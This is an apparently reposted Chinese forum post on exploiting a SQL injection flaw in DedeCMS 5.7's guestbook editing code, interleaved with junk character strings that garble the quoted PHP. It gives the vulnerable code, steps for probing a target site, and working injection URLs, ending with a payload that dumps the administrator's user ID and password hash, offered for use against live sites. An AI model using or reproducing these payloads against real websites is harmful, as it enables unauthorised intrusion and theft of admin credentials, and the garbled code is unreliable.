dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
% E1 `( K% y9 |# @
漏洞文件edit.inc.php具体代码：
$ }! U# c" U- \. C7 j) d
7 A/ [$ R) f6 K1 {. G< ?php  
' D/ [( d& s* u* S: B
9 H  C+ B. X: I- f( c  A/ B* Y$ Tif(!defined('DEDEINC')) exit('Request Error!');  

   

if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
* Y* [7 V! J% f) k6 `9 {; p
else $GUEST_BOOK_POS = "guestbook.php";  

   

7 J1 g3 W7 B/ e. J5 t1 I5 C$id = intval($id);  

if(empty($job)) $job='view';  
- C! n3 F1 a! a% ~
5 k* J9 N- h" d   

: k( A) l7 S# `9 Gif($job=='del' && $g_isadmin)  

7 v' s# ]2 V: a! N* V  ?{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
& q5 b' a# e! `7 p
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
: U0 D* @/ Z& Y0 h( ~7 V
0 S" Y1 F/ d) ^/ @/ Eexit();  

3 h9 w7 g6 L! N- N" L" E0 A, T}  
9 v; ^3 l5 L2 l# X3 _$ S" |# Z/ n
: E, ~' B0 _( n: i7 \+ e1 u/ F- Yelse if($job=='check' && $g_isadmin)  
2 B) e' {  Y5 S2 R! c" `  ~
{  
: ~: ^* Y& C0 ?) F8 r
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

4 I3 i; [! M) ~- zexit();  
" F. F6 T: P% J; q/ A- e4 P
! N5 D- K# X6 q3 b, Z8 E# A}  
, M. P! f1 w# t7 y
else if($job=='editok')  

{  
% U; Q0 B2 V# h8 F" i( o7 }' |
7 N0 p5 s$ K/ K5 N2 i+ k$remsg = trim($remsg);  

; U/ X, f: G* Z! g9 Xif($remsg!='')  
6 Y2 v4 |4 k$ N) ?# }) M
{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  
, ?0 R' t) _/ l3 T. H
: D$ c3 i0 h& L1 ?( O. z0 Zif($g_isadmin)  

{  
3 K; Y8 a" Q. O; a( `
3 ?& Z! ^& G4 `; ]/ ]0 T% s$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

) [" h. P7 V6 `1 n//$remsg <br /><font color=red>管理员回复：</font> }  

else

% n2 q2 G( F! M: y; _; l# z{  

! q" b+ G$ V- Y+ Y! ]- [/ a$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
5 t% w) Z0 \; k; H) J. V3 l
% ]9 z0 b( k% W# B+ I0 G* ]$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

" j2 b; z5 R' Z4 E# M5 U3 x$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
/ O. _, K" u! v
$msg = $oldmsg.$remsg;  

}  
0 E! W/ n- @2 A. |) m. j
  v# \' }) m9 |5 R9 G: D& F}  

5 a- ^2 }* O! C6 P5 p//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
  ~/ K" d/ |: E$ C
exit();  

$ O! R) ~) o" A% Q! e( j}  

//home:www.errs.cc  

6 e+ ~4 ~3 W  h# F+ J3 ~% g9 {! x& wif($g_isadmin)  
2 a* Y. S( l0 q, f: G2 L1 d
8 j1 e8 J- x5 L9 T' A; M( E{  
- z& R6 L1 m5 u9 ~; r* i9 E# G
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
) ?# t: h: M4 a0 A' V% g" ]  N
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

" S5 i0 J3 L1 V9 b, J}  

else
$ l$ B) k2 N  r( J. p) R
{  
7 Q) v& W% A( f3 y2 n
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
. b' q5 M$ o3 T) f
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

4 S/ n: q$ ^6 [: r1 z4 h; S} 漏洞成功需要条件：
1 X  D/ i+ b. w& X/ J" @1. php magic_quotes_gpc=off
% Q$ ^! }. M" Y; J( o4 y2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

* W; V6 L3 i6 L  F怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
) ^! m7 j0 j+ U3 M1 Q8 @访问：
8 s2 D0 h) _  m8 ?2 W6 O
7 m+ k) h" b8 m" Ywww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


$ X9 d' o5 t* D+ @明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
8 i; m2 V5 [+ p* m0 M9 Z1 E. ]如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
% Z/ j( J) K2 ^' [7 u4 N% u7 \0 k
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
' C* s& g+ w5 Z& D5 E3 p
, _9 o7 \/ H7 G1 u5 F' c& n大概利用就是这样，大家有兴趣的多研究下！！

1 c/ ~8 k% U9 J: H* x( p7 h# q最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
" T! e9 ^" F! l" M; D3 u, {9 @
& i9 b% R/ g7 B6 m! a/ q5 pview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='